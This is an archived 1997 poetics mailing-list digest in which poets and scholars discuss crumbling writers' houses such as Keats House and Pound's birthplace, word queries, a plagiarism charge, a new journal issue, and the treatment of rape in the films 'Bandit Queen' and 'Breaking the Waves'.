Wed 5 Feb 1997

Pierre, tell your friend there's an organization in Hailey, Idaho called The Ezra Pound Association, trying to raise money to buy the Pound house. In October, the town celebrated "Ezra Pound Week,' with a play, lectures, slide shows of Italy, performance readings, etc. He can get details about the organization on the National Poetry Foundation Bulletin Board at http://www.ume.maine.edu/~npf/

> *thought this news from the Manchester Guardian, in via John Whiting in London, w*
> *ld be*
> *interes -- Pierre*
>
> *Sign of the Times (one of a series). One doesn't have to be an advocate of the Great Books approach to literature to be saddened by this. I know the building well; it's within walking distance of where we live. You need only imagine the likelihood of such a fate befalling the house of, say, Morike, to realize what we Anglo-Saxons are allowing to happen to our literary heritage. Ezra Pound's birthplace in Hayley, Idaho, is also falling to bits. At least it has a peeling wooden plaque on the wall, but the town's little publicity hand-out doesn't even mention him.*
>
> *It will ultimately depend on the enthusiasm of one of those World Cultures which we now so warmly embrace. Perhaps the Japanese will endow Keats' house before it becomes a pile of rubble.*
>
> *John Whiting*
>
> *##*
> *###*
> *#####*
>
> *The [London] Guardian February 4 1997*
>
> *ODE TO RACK AND RUIN*
>
> *Sebastian Faulks*
>
> *KEAT'S HOUSE is falling down. It is the most perfect memorial to any English writer - exactly preserved, full of important papers, open to the public, delightful to visit, charged with atmosphere - and it is coming apart. The beautiful Regency*

cottage is in Hampstead, north London, and was built by Keats's friends Charles Brown and Charles Dilke in 1815-16. Part of the problem is that the house is built on clay and seldom stays still; the curator, Christina Gee, says that an entire wing has parted from the main house and many of the supporting walls are easing away from the chimney flues. Plaster has fallen from the ceilings and the chimneys are wrapped in Polythene; the collection of manuscripts and books is threatened by water and the walls of Keats's bedroom are stained by damp.

Andrew Motion, the writer who has just finished a biography of Keats, used to watch water run down inside the walls while he was researching in the library. As a matter of fact the house was always prone to leak. Brown and Dilke did not spend much on the construction of the building and Keats's biographer W J Bate records that even in Keats's day the basement kitchen and dining room were damp for much of the year. Although houses in the street are now very expensive, 1815 Hampstead was in the countryside and the house, though pretty, was small. For full board Keats paid L5 a month.

He moved in with Brown in the winter of 1818. After years of intense apprenticeship, of many trials and many errors, Keats was at last on the verge of something magnificent. Bate's restrained biography puts it like this: "The year ... from about mid-September 1818 ... may be soberly described as the most productive in the life of any poet of the past three centuries."

I used to visit this wonderful museum frequently in the seventies, partly because I loved Keats's poetry but also because I was fascinated by Charles Brown. What must it have been like to live with a genius during his most productive period - a period, as Bate reminds us, almost unmatched in literary history?

Brown was in his early thirties, a former merchant with an inherited income of about L300 a year, which was enough to lead a life of literary leisure. He was of a type not much seen today: a businessman whose passion was for admiring and encouraging the creative gifts of others. What everyone said about Brown was that he was practical and "down to earth". Mind you, so, in many ways, was Keats. Small, voluble, pugnacious, he had impressed his teachers with a belief that he would achieve something in the world, but probably "in some military capacity".

Did he talk to Brown at dinner about his poetry? Perhaps he talked about Fanny Brawne, whose mother had taken Brown's half of the house the previous summer. She was a sharp-featured girl of 18 whom Keats initially thought "ignorant", minx-like and lacking modesty, but in the summer of 1819 she began to receive his sumptuous love letters. And what can she have made of them?

After one of his characteristic periods of recapitulation in early 1819, Keats cleared his mind. The planets moved into a favourable conjunction and he began to write again: first the Ode To Psyche; then one May morning he went and sat beneath the plum tree at the front of the house and wrote the entire 80-line Ode To A Nightingale.

When Keats came in at lunch time Brown noticed that he had some pieces of paper in his hand. They had a maid at that time who was a keen tidier and throweraway, and Brown saw that Keats stuffed the pieces of paper down behind some books: he had thought them worth saving. When Keats went up to his room, did Brown go to the bookshelf, pull out the scraps of paper and read them?

A few days later Keats wrote Ode On A Grecian Urn. He followed this with the Ode On Melancholy. Although the Ode To Autumn would not come until later in the year, he had, as Bate puts it, "within about three weeks written four of the greatest lyric poems in English".

And now the house is falling down. The curator of the museum says that 60 per cent of her visitors are from abroad; British schoolchildren rarely visit these days because Keats is no longer on their syllabus. They do not have to study pre20th century writers at all, and if they do, then, according to Christine Cayley of the Cambridge Examination Board, "Many British children choose an author such as Jane Austen, with popular video versions available." As Andrew Motion puts it: "If children are not studying these poems then something has gone drastically wrong."

Keats's reputation has suffered a kind of literary subsidence, partly caused by the fact that today's children are protected from exposure to anything old or, God forbid, "difficult". Motion hopes vigorously to reinvent Keats for today's reader and thinks it more likely that this can be done through biography than by merely hoping that the texts will be read again. Even a decade ago the idea that such drastic critical repair work might soon be necessary would have seemed to

> *belong to some illiterate nightmare.*
>
> *The house meanwhile has just become a charitable trust and has passed from the care of Camden council's leisure services to that of the City of London. Christina Gee is hopeful that the corporation will do all that is needed - though the relevant department, alas, has just been asked to make cuts of L3.8 million.*
>
> *Within a few months of his astonishing summer Keats was dead of TB in Rome at the age of 26. This self-taught son of a stable keeper had driven himself to compose four of the greatest lyric poems in English - but he had no video tie-ins.*
>
> *The important thing is that the City of London does its duty, but donations are welcome at Keats House, Keats Grove, London, NW3 2RR (telephone: 0[redacted]).*
>
> *- ENDS -*
>
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://writing.upenn.edu/epc/authors/joris/*
> *http://www.albany.edu/~tm0900/nomad.html*
> *----------*
> *Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertation. -- Maurice Blanchot*
> *==========*

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

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143. **maria damon**
epik proklivities
Wed 5 Feb 1997

I was hoping there might be someone out there in poetryland that took to the thought that the epiktext has evolved into a sensibility that includes co-writing in a space like the poetixlist. so once again youall leave it up to me to beat the dog (except we havent even seduced the dog into the house yet!)

Am writing from the booklined walls & floors of the lovely ms maria professorina,

miekal
who wonders if we maria & I will ever get time to work on our hypertext collaboration again

and here's me, having taught a class here last night and lost my composure cuz i hate teaching in front of friends (miekal) i babbled about lenny bruce, blaser's cups, and ginsberg. we listened to bruce tapes, the younger ones were shocked ("did he perform this to a mixed audience? or an allwhite, behind-closed-doors kind of thing?") anyway today is the reading day, miekal and i will go to my office and work on our hypertext, then at 3:15 is the reading in the dark ING-GLITCH department of the soul. send good vibes at 3:15 cetral standard time. last nite miekal told the class about bern porter and passed books around. it was cool, the highlight of the evening. epik/pupik not heavy, just a little aphorism, m boughn, about life and death.

maria d

↑ Index

144. **maria damon**
query
Wed 5 Feb 1997

1) what is jivaro? bob kaufman uses the word somewhere in golden sardine. 2)i forget.

↑ Index

145. **maria damon**
Re: meetings
Wed 5 Feb 1997

david, i was on the calif panel. you were in the audience. i'm sorry but i did not attend your panel on brit lit. i rmember your red suspenders in the month of decembers. and your facial hair gave your face a look that was oh so square.

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146. **maria damon**
Re: epic/definitions
Wed 5 Feb 1997

I
>
> Anyway, Maria, I was confused by your epic/pubick connection, couldn't
> quite make your point out (perhaps there was none?), but did think it
> could work as a description of HD's wonderful poem, Helen in Egypt,
> a classic post-Pound take on the epic.
>
> Mike
> [redacted]

not much to it. nothing to be confused about.
>

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147. **Sylvester Pollet**
apologies
Wed 5 Feb 1997

Sorry I forwarded that whole long document by mistake--I thought Pierre Joris's original ended with the John Whiting part. Mistakes were made.

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

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148. **cris cheek**
Re: from a distance
Wed 5 Feb 1997

---

hi Joshua,

appreciate the reportage
keep it coming

and while I'm on the topic thanx
to all others with such posts.
There's a great collected sub-genre
further down this line sometime.

One other i remember, but
which passed - seemingly
w/out comment - was Bill Luoma's
field trip.

love and love
cris

↑ Index

149. Eliza McGrand- CVA Guest

Re: Bandit Queen

Wed 5 Feb 1997

---

i haven't seen Bandit Queen, but i confess, i'm a little puzzled. Mike Boughn seems to be having trouble with a scene where a woman shoots a number of men who gang raped her after it is clear that they will not be punished for their crime by any other force. this movie is based on a real woman's life who really _was_ gang-raped by villagers and then blamed and treated like a whore because of it in a class-rigid, woman-hating rural society. um, so, what is so bad about an audience feeling some satisfaction to see this continued threat to her existence, people who have done one of the most abusive, contemptuous things imaginable to a person and feel no remorse, killed -- and killed instead of her, because in the accounts i have read of this woman's life, post-rape, she received death threats...

at the start of this thread, i wasn't sure what was being objected to in the movie, and i'm still not clear on it. but no, i wouldn't find it a problem that i'm expected to feel pleased, as an audience member, when a woman who has been mass-raped, beaten, disenfranchised, refused justice, and had her life threatened finally fights back against her rapists... i WOULD find it a problem if i were expected to see her mass-raped, etc., then expected to excuse the people who did it ("oh, she was wearing tight clothes," "oh, what was she doing out at night if she didn't want it," "oh, they are poor, ignorant, down-trodden men who were just taking their anger at their oppression out on her" etc.).

speaking of movies one walks out on because of content, i have a movie i can't even bring myself to SEE because of content. a reviewer mentioned horror at the way "Breaking the Waves" is being given critical acclaim, given that it is what sounds like an appalling glorification of oppression and victimization of women... a woman's husband has an accident which makes him unable to

perform sexually, so he orders her to have sex with other men as a way for him to have sexual pleasure third-hand. evidently, the film maker appears to think she is really as Good Woman, the Right Kind of Woman, becuase she does. even sex which becomes increasingly violent, till a sailor who has raped, beaten, and mutilated her tells her to come back for more, her husband orders her to do so, she does (that good, Griselda-myth of a woman) and is murdered. because she has been so dutiful, according to the filmmaker, the last scene shows her ascending to heaven...

no one seems to be objecting to the appalling message of this film, its extreme and even approving presentation of violence against women, the notion that a good woman should do whatever her man tells her to, should be a sade-like submissive (filmmker says, in interviews, that he read de sade and was impressed. used it as one of sources/bases for film! he actually BRAGS about that!) even if it, quite literally, kills her.

i dunno about you all, but i have so little stomach for violence against women that i am not sure i could ever see even phoolan devi, where at least it sounds like no one is trying to say its a great thing that she got raped...

e

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150. **Herb Levy**
Re: epic/definitions
Wed 5 Feb 1997

Mike Boughn wrote:

> *Anyway, Maria, I was confused by your epic/pubick connection, couldn't quite make your point out (perhaps there was none?), but did think it could work as a description of HD's wonderful poem, Helen in Egypt, a classic post-Pound take on the epic.*

This goes back to Hebronics again. Maria's original post said pupik, not pubik.

Your pupik is a couple of inches above your pubic area, it's your belly button.

Can't you Xtians ever get our language right?

Great idea of Helen in Egypt bringing the epik & pubik together though.

Herb Levy
[redacted]

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151. Alan Jen Sondheim
Re: query
Wed 5 Feb 1997

A First Nations group in South America - I believe Levi-Strauss among others writes about them.

Alan

On Wed, 5 Feb 1997, maria damon wrote:

> *1) what is jivaro? bob kaufman uses the word somewhere in golden sardine.*
> *2)i forget.*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

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152. Aldon L. Nielsen
Re: after David
Wed 5 Feb 1997

The list at midnight

_____

The listing after midnight

↑ Index

153. Daniel Bouchard/College/hmco
Re: Poets' homes
Wed 5 Feb 1997

Here in Cambridge, they have refurbished the Longfellow home with materials that have already
outlasted the man's work by decades. Meanwhile, the block housing the last diner in Harvard
Square has been damned to dynamite, and will not see the spring.

[redacted]

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154. David Bromige
the Shadow Librarian, and Other Stories
Wed 5 Feb 1997

Henry, you might be amused by this two-liner Karen Gordon (_The Transitive Vampire_, etc) wrote in a class I was teaching 20 years ago:

SIGN ON LIBRARIAN'S DESK

r e v e n g e

which says it all,--not that it doesnt bear saying again.

(and on the appropriations thread,i'll note i "borrowed" this for "My Poetry").

And here's something else turning up on that thread: Aldon's poem made from a list-line i wrote. . . very funny, A.N. Wd that be listing t o port or listing f r o m port?

here's another use of it:

the list at midnight

_____

the listless at dawn

which for me abt covers the bleakness during the time the list was "held". . .btw, why is that done with the list? is it so the sparkplugs can be cleaned? Or is it so that addicts like myself and maria damon can get our "real work" done?

oh oh, lookout, here comes something else barely related: can anyone describe to me in words an english professor can understand, the actual nuts and bolts of "Initializing", "Establishing," and "Authenticiation," in the context of logging-on? Thinking of it as one code meeting another (I suppose), can anyone get more micro abt it? My interest has to do with metaphor, so dont go metaphorical on me more than you can possibly help. Or put it this way, why are those 3 words used for those three sets of operations--why those three words and not their cognates or cousins. thanks if you can help, db

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155. Aldon L. Nielsen
Re: "Jibaro, my pretty . . ."
Wed 5 Feb 1997

Maria -- I think "jivaro" is another version of "jibaro" -- Spanish originally for "rustic or uncultured," as my DC friends used to describe people who were, in their opinion, hopelessly "country" -- came to have certain ethnic connotations in the New World --

Felipe Luciano, of the "original" last poets, has a famous poem that begins "Jibaro, my pretty nigger," --

when will we see the last last poets?

↑ Index

156. **David Bromige**
did i repeat myself?
Wed 5 Feb 1997

---

if i posted two messages with identical beginnings (tho not endings) its because i was mis-advised re "Failed Mail." [surely theres a cure for that here in california] So this isnt an apology, merely a laying of the blame. db

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157. **henry**
Re: knowing when to stop
Wed 5 Feb 1997

Don't mind me. False, false, false, it should have been. I'm in it for the poison.

- Henry
(subject to the February Imp of the Perverse)

p.s. every librarian is shadowed by a double known as Savage Reader. She hates books, but likes to read. She only likes poetry - but she hates "poetry". The only male poet she likes is Villon, and he's too obvious. ALL the rest are too sentimental. She hates agendas. Books are for pure laziness; not even decadence, not even vulgarity - laziness, pure and simple. She hates everyone who's trying too hard. She writes poems herself - secret put-downs of ALL her suitors. She would never be caught dead at a conference, a school, a coffeehouse, a library, a museum, a workshop, a reading, a magazine, a publishing house, a bookstore, an award ceremony, a memorial reading, or anything else having to do with culture. She is Savage Reader. She is your Nemesis. She's not part of Your Generation. She's not an Older Poet or a New Poet, she's not a Discovery or an Original, she's not an Experimenter or an Authority, she hates Prestige, she hates Blurbs, she hates your Ambition, she doesn't want to get any more mail from you or books from you or poems from you - she wants you to Shut Up and Turn off That Machine. She is...[fill in the blank].

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158. David Bromige
Homonyms & Borrowings
Wed 5 Feb 1997

Sylvester, good one! a Wilde suggestion.

mention of the 90s reminds me that gone w the wind was copped from Ernest Dowson, who also provided the title of at least two other popular artproducts of "our" time (one song, one movie): anyone want to play trivia? [no, no, george, _that_ isnt a line of dowson.*] db

*Anyone desiring to play trivia
something something something something else
Please come help me to forget Olivia
some more some more give up,she's in my cells

turns out to have been a false attribution.

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159. David Bromige
keep off the cheese (the mouse at midnight)
Wed 5 Feb 1997

---

ok Aldon, you can enjoin me anytime at all. and thanks for the info, which i'll follow up--usually interesting to see a scholar writing about people one knows & their works: works which one has "incorporated" until (though one couldnt have done them) they feel like a part of oneself.Its like getting yr drivers license in the mail, or passport photo. Now its official and you dont look happy any more. But then again, it h a s to be you, too, its just that the lighting and the equipment arent your usual visuals. And after all, you always w a n t e d a drivers license and a passport. They make it easier to get around, a n d they signal arrival. I come to realize the partiality with which I had been reading these associates, that I hadnt glimpsed the look their work turns towards the camera. Its like going into an unknown restaurant and spotting a photo of lorinne niedecker. Does that niedeckerize the restaurant more than it restaurantizes niedecker? Feelings that shimmer like that are those some among us prefer, and they depend upon the certainties of other parties for their origination. What can be given in return is an open question, I daresay, like Robin Blaser's "Whatever".

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160. Sylvester Pollet
Re: keep off the grass
Wed 5 Feb 1997

David, is that poem the "Ballad of the Pennsylvania Marathon" you were working on?

> *Aldon, i too have been forbidden to copy myself in those kinda shops. not just when i sit on the glass, either. But thats a great title, _Gone With the Wind_, think i'll write a poem to fit it . . and i've already written one i'm going to call "Reading Race." whats the harryman/derrida reference? Btw,if you dont stop having my birthday, youll be talking to my attorney. . and that goes for Cole Swensen as well. thanks to you guys, messerli only has room for a tiny poem of mine on his calendar of poets' b'days.*

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

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161. Jonathan Monroe
Diacritics special issue
Wed 5 Feb 1997

I'm pleased to announce the publication this week of "Poetry, Community, Movement," a special double issue I've guest edited for Diacritics (fall-winter 1996, vol. 26, numbers 3-4). The issue is the first in the journal's twenty-five year history devoted exclusively to contemporary poetry.

Contributions to the opening "Text/Context" section include: Jonathan Monroe -- "Poetry, the University, and the Culture of Distraction"; Rachel Blau DuPlessis -- "Manifests"; Rosmarie Waldrop -- "Form and Discontent / Four Prose Poems"; David Kellogg -- "Perloff's Wittgenstein: W(h)ither Poetic Theory?"; Aldon Lynn Nielsen -- "Black Deconstruction: Russell Atkins and the Reconstruction of African-American Criticism"; and Marjorie Perloff -- "Whose New American Poetry? Anthologizing in the Nineties." The second half of the issue includes in its "Symposium" section: Jonathan Monroe -- "Syntextural Investigations"; Ann Lauterbach -- "Misquotations from Reality"; Bob Perelman -- "Poetry in Theory"; and Charles Bernstein -- "Community and the Individual Talent." The issue concludes with "Poetry, Community, Movement: A Conversation" (Charles Bernstein, Ann Lauterbach, Jonathan Monroe, and Bob Perelman).

To order copies of the double issue ($12 each), write via e-mail to [redacted]; via snail mail to: Attn. Journals, The Johns Hopkins University Press, 2715 N. Charles St., Baltimore, MD 21218-4319; or call [redacted] or [redacted].

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162. **william marsh**
Re: 3 propositions for today
Wed 5 Feb 1997

> *3rd addendum: there is no poetry on the internet.*

can i get that in writing?

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163. **Johannah Raney**
Re: Bandit Queen
Wed 5 Feb 1997

I just wanted to make a humble suggestion that people actually --experience-- for themselves films/books/paintings before destroying them based on potentially rigid feminist/or/otherwise interpretations. Breaking the Waves is one of the most aesthetically interesting and emotionally powerful films I have ever seen. It does disturb your gut, and I spent the last hour of it clenched in a tight spasm of tears, but I don't find that kind of visceral emotional reaction offensive...I could see, on the other hand, how one might be (if he/she didn't appreciate kitsch, that is) the cartoonish and tacky qualities of something like "Baywatch." Yes, Breaking the Waves is about oppression, but I don't think Bess's husband can be so swiftly and cleanly pinpointed as perpetrator. The strict, island community, which is the centripetal force of the film, and the notions of goodness versus evil/sin therein, are more accurately the culprits. I understood it less as a plot of male/female sexual dynamics than as one of, yes, "goodness" in the face of anti-Christian hypocrisy. The husband's influence is also more ambivalent than what you think; it is not entirely clear that his actions are not sincerely motivated by a wish to liberate her from him, to free her from her compulsive and (also unclear) psychologically-unstable love..."love so much it hurts." It takes a party pooper to spoil the end of the film, but since the final scene is out of the bag, I think it worth noting that another way to read the "heavenly ascent" is as an image of redemption and love's justice...that the purity and goodness of unconditional, generous, unguarded love that Bess strives for throughout the movie in her own dialogue with God finally comes to her, and her wish is granted. I understand disgust at the exploitation of violence, especially violence against women, but I would hope such valid concerns would not keep us from appreciating the full dimensionality of strange and human stories.

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164. Matthias Regan
Re: Bandit Queen
Wed 5 Feb 1997

> *i haven't seen Bandit Queen, but i confess, i'm a little puzzled. Mike Boughn seems to be having trouble with a scene where a woman shoots a number of men who gang raped her after it is clear that they will not be punished for their crime by any other force.*

The scene is long and clearly delights in showing the rapes. If memory serves it even has slow motion sequences. It is a scopofilic (sp?) gaze to be sure.

this movie is based on a
>real woman's life who really _was_ gang-raped by villagers and then blamed
>and treated like a whore because of it in a class-rigid, woman-hating
>rural society.

It is also about a *revolutionary* who has battled with the existing social mores and the government and largely gotten away despite the odds for years. The movie reduces Devi's life to nothing but an unending string of rape scenes. And the only major plot development apart from her being raped, the only thing she is depicted as doing for herself (apart from an early scene of beating the crap out of her first rapist, her decidedly-ex husband) is falling in love. Essentially, the movie's "dialectic" is that poor Devi is constanly being raped and all she ever really wants is to fall in love. Consequently, when she kills the rapists she is not, in the movie, seen to be striking out against her society (the obvious aspects of which you mention--class-rigid, woman-hating, rural, to which I would add colonized and capitalistic) but against personal enemies.

> *then expected to excuse the people who did it ("oh, she was wearing tight clothes," "oh, what was she doing out at night if she didn't want it," "oh, they are poor, ignorant, down-trodden men who were just taking their anger at their oppression out on her" etc.).*

I think it could be argued that aspects of this movie's cinematography (sp?) do just that: Devi is often made to appear particularly sexual before and you could argue even during the rape scenes. This is to say that, as mentioned above, it would not be too hard to argue that the camera has a particularly male gaze.

> *speaking of movies one walks out on because of content, i have a movie i can't even bring myself to SEE because of content. a reviewer mentioned horror at the way "Breaking the Waves"*

Yes. I saw a preview for this monstrosity.

> *no one seems to be objecting to the appalling message of this film,*

The preview was enough. No thank you in the first place with that one.
>
>i dunno about you all, but i have so little stomach for violence against
>women that i am not sure i could ever see even phoolan devi, where at least
>it sounds like no one is trying to say its a great thing that she got raped...

Not even the movie was suggesting that.

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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165. Charles Alexander
Re: Poets' homes
Wed 5 Feb 1997

At 10:21 AM 2/5/97 +0600, you wrote:
>I took my son up to Fort Atkinson, Wisconsin for a swim meet a few
>weeks back. Had dinner at
>Club 26, a fine supper club there. On the wall, in frame, amidst a
>smattering of old jazz photos from the 50's and 60's, is Lorine
>Niedecker's poem, "Club 26," celebrating the place she dined at with
>her husband every so often.
>
>I understand that the Niedecker house is still standing by the
>lake, and I was wondering if anyone knew of any efforts to preserve
>it? Of course, if Pound's house is up for grabs and Keats's house is
>falling down, maybe it's a lost cause. But maybe not: If Niedecker's
>work adorns the wall of a smoky supper club bar, maybe there's some
>community pride that could be tapped into? I'd be interested in
>trying to help if the effort seems feasible... about an hour and a
>half away. Anyone know anything?
>
>Kent
>

Kent: if anyone would know about this, I think Karl Gartung, at Woodland Pattern in Milwaukee, would be the person. I believe the address of Woodland

Pattern is 720 East Locust St., Milwaukee, WI 53211. I don't know if he's on email. Good luck.

charles alexander

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166. Eliza McGrand- CVA Guest

Re: Bandit Queen

Wed 5 Feb 1997

---

i generally DO hesitate to dismiss without seeing, but in this case, since seeing feeds into the box office figures, i think hesitation is warranted. i find it hard to imagine how "purity and goodness of unconditional, generous, unguarded love" can be distilled from a woman letting her husband order her into increasingly violent and unpleasant sex which she doesn't want because he finds it titillating. the reviewer described, in particular, a scene where she emerges from the hold of a ship after being raped by two filthy, knife-wielding sailors, with her face beaten and cut into a jigsaw puzzle. anything that tries to make a claim for that being a good way, for ANY reason, for a woman to be, seems to me far from having any possibility of a redeeming dimensionality of strange and human stories. considering that she is sent back for MORE of this by her husband and is murdered by the same two sailors... what could possibly redeem THAT? the, uh, "freedom of speech" governing larry flynts' "chester the molester" (a cartoon of a pedophiliac molesting children by a man later convicted of molesting his own children), woman in a meatgrinder, woman raped on a pool table, and tied and bloody women offerings? perhaps the true belief in a deep religious epiphany available through suffering that "informed" the inquisition as they killed people and just happened, oh yeah, to confiscate their land and holdings along the way, along with any jewelry and money on the bodies of the, uh, "redeemed"?

i don't mean to rant, but i think a line MUST be drawn making violence against women glorified and used as subtext to sell and excite absolutely unacceptable. i am concerned about making it illegal to print, since censorship is a bitter and treacherous rally, but one can practice censorship of the pocketbook by refusing to support, even by boycotting, anything attempting to sell or promote violence against women.

also, i wouldn't call the review i saw narrow at all -- it is often fashionable to deem any feminist document "narrow," but in fact, given that the dimensions of effect on real-life, breathing, you-and-me women in most things of this culture is routinely overlooked, subsumed, unexamined, and/or supressed, i've found feminist criticism a very useful "second look." think, for example, of drug trials -- "oh, we've done extensive testing, so this is safe" IF you are a white, college or

middle aged male. i've actually HEARD researchers say they didn't test on pregnant women, or women, because the hormone cycles made it too difficult to determine/write up results. yes, those narrow, narrow feminists noticing that since pregnant women and women were assumed to BE part of the population affected, it might be nice if they were part of the testing... or a myriad of other examples, but i think of feminist criticism as a determined bringing to light of what we are made, by our society/culture/world, only too wiling to not see...

ok, off my soapbox now...
e

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167. Aldon L. Nielsen
Re: keep off the grease
Wed 5 Feb 1997

David -- Cole and I already talked with our attorneys -- they suggested that you be enjoined from having our birthday -- we thought that a bit extreme, and decided that we would simply enjoin you ON our birthday whenever possible -- Actually, I made an offer to Douglass to solve that problem by arranging to have myself reborn on a different date for purposes of the anthology -- maybe instead he'll run our three poems together as one birthday bash --

BUT to reach something more substantive -- the Derrida/Harryman ref. is to a page early on in _Vice_ where Carla places lines adapted from Derrida's "The Law of Genre" (since collected for English readers in _Acts of Literature_ -- David Lehman "discovers" this fact and produces it in _Signs of the Times_ as a reason to dismiss both Derrida and Harryman --

I had used Carla's revision of Derrida, and Bob Perelman's revision of Carla Harryman in one of his papers in one of my papers, deliverd in '88, to get at some issues in the debate between Searle and Derrida over distinctions between citation and use -- Searle thought Derrida was abusing Austin, and using him, -- see _Limited Inc_ for Derrida's sides of the debate -- for Searle's, which he refused permission to copy into _Limited Inc_, see the 1977 issue of _Glyph_ -- the essay is titled "Reiterating the Differences: A Reply to Derrida" --

---
Change of topic, but still on the copy

After reading Kevin Killian's post the other day, I got Kristin's Helen Adam essay from her EPC page and compared it to Brenda Knight's introduction to the Helen Adam section in _Women of the Beat Generation_ -- Clearly 50% of Knight's intro is directly lifted from Kristin Prevallet's paper -- It would not have been enough simply to identify Prevallet's essay as the source for the

information in the intro., as Knight has done much more than take information, but Knight didn't even do that much -- Since she at one point quotes KP, and might therefore expect that readers might look up the source of the quote one day for further info, I don't know what Knight could have thought she was doing -- I do think it's now time to examine the other "knight-authored" sections of the book to see if more of this form of "scholarship" was done --

Has anybody else looked at this book yet?

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168. **Mark Weiss**
Re: Poets' homes
Wed 5 Feb 1997

Author of "Under the spreading chastity/ the village smoothy stands..."?

At 12:57 PM 2/5/97 EST, you wrote:
>Here in Cambridge, they have refurbished the Longfellow home with materi-
als
>that have already
>outlasted the man's work by decades. Meanwhile, the block housing the last
>diner in Harvard
>Square has been damned to dynamite, and will not see the spring.
>
>[redacted]
>
>

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169. **Alan Jen Sondheim**
no excuses
Wed 5 Feb 1997

--

longue

the word shudders from the body of the uniformed man, and some might say it's a uniformed word, but i jennifer say no, it's a body word full of spit and sweat and moisture from the lungs barked into the air;

it's tongue and langue and lung simultaneously, clothed in the body of the swell-dressed man in a uniform of black and red for anarchy and com- munism or blue and black for skies and soils of the motherland;

it's languor and lunges and a tong altogether, dynasties of tongs and im- ple- ments just as the uniform is carapace not character / armor, but true and real revelation in the blacks and whites of the fatherland;

and it's line and length and tinged altogether, tainted with scents and odors of the true-real body supporting it above and atmospheric, against blood-red plant-green, the khaki family desert fairy-tale untrue;

and that is the tail of the bodily word, i jennifer always do say.

+++

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170. **Herb Levy**

Re: Bandit Queen

Wed 5 Feb 1997

Eliza McGrand wrote:

> *i haven't seen Bandit Queen, but i confess, i'm a little puzzled.*

<snip lengthy, well argued, discussion of plot situations in two movies, neither of which I've seen either.>

But isn't your argument similar to

"I haven't read Ezra Pound, but he's a fascist anti-Semite, so the poetry can't be any good."

Doesn't the way in which these situations may be presented within the context of the films count for anything? Can't you trust that someone who's seen Bandit Queen can have a problem with this presentation? Is a film that has been perceived, to be inartfully manipulative, a good film if you believe in the idea they're shilling for?

To bring it round to a film I HAVE seen, a lot of the praise for John Sayles' Lone Star seems to be based on the political sentiments he projects (which, for the most part, I agree with) and not the film itself, which I think is no better or worse than most network television programs. But maybe that's just me.

It's great that there are filmmakers with progressive values who are able to work within the film industry, but intentions alone do not make a good art.

Herb Levy

[redacted]

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171. Laura Moriarty
POSSESSION
Wed 5 Feb 1997

on Jan 31, Julie Schmid wrote:

"I'm looking for any suggestions ... re: spirit possession, spirit doctors..." etc.

Julie -

It just occurred to me to mention Robert Gluck's Margery Kempe (High Risk) and of course Margery Kempe herself - Bob's version is great - He did a nice reading of the crucifixion scene in the chapel at the Unitarian Church last year. We have the tape.

Another possibility is Luisah Teish - who I think lives here in the East Bay - One book of hers is Jambalaya (not sure the publisher, but not a small press) - We have a reading by her in which she talks about possession etc. She performs her stories.

Good luck in your search -

Laura

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172. Eliza McGrand- CVA Guest
Re: Bandit Queen
Wed 5 Feb 1997

aaahhhhhh, NOW i'm beginning to see... one of those lets-make-the-violent-shots-sexy kinds of movies.

bleCH!!! and you are very right -- devi did much more than avenge her rape. organizing a massive groundlevel resistance seems no mean feat -- how does the movie get around that one? oh yeah, the sex scenes.

i remember in clint eastwoods "Unforgiven" there was the most horrific scene of violence against women, but i remember it being filmed in what felt like a very sympathetic, woman's-point-of-view way and i could never say quite why it felt like that (the rape and murder in "Platoon" had that same quality) but i'm wondering, now, if it is a matter of camera shots -- if the shots are taken, at least a significant number, from the "gaze" of the victim?

i just remember, from "Unforgiven," a sense, rare in movies, of the violence not as quick and oh-isn't-this-a-fun-special-effect, but rather, chaotic, hard to parse, TERRIFYING, and unforgivingly terrible. one saw the utter horror of such an act, its brutality. i guess part of this was not flinching away or glossing over the

appalling aftermath -- the other women trying to sew the wound, pack it with dressing and stop the bleeding, the raw masses of cotton that could not contain the disaster and the clear swelling and pain, the devastating effect on her of the scars, the pain and sympathy and anger, and worst of all, feelings of helplessness and hopelessness her injury invoked in everyone around her, even people who didn't, initially, like her that much...

perhaps it is violence-in-context, as well, rather than violence-violence-violence with no context? some of later shots in "Unforgiven" seemed a mocking parody of shoot-em-up cinema, where you got the "pretty" shooting scene, then you got the decidely unpretty result, the ambiguities of what was supposed to be simple revenge, the victims trying to move, their pain -- not just a quick snappy gloss of them with gory special effect, but again, the unswerving look at the simple, human, "this hurts" and bodily damage...

e

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173. Matthias Regan
Re: Bandit Queen
Wed 5 Feb 1997

> *I just wanted to make a humble suggestion that people actually --experience-- for themselves films/books/paintings before destroying them based on potentially rigid feminist/or/otherwise interpretations.*

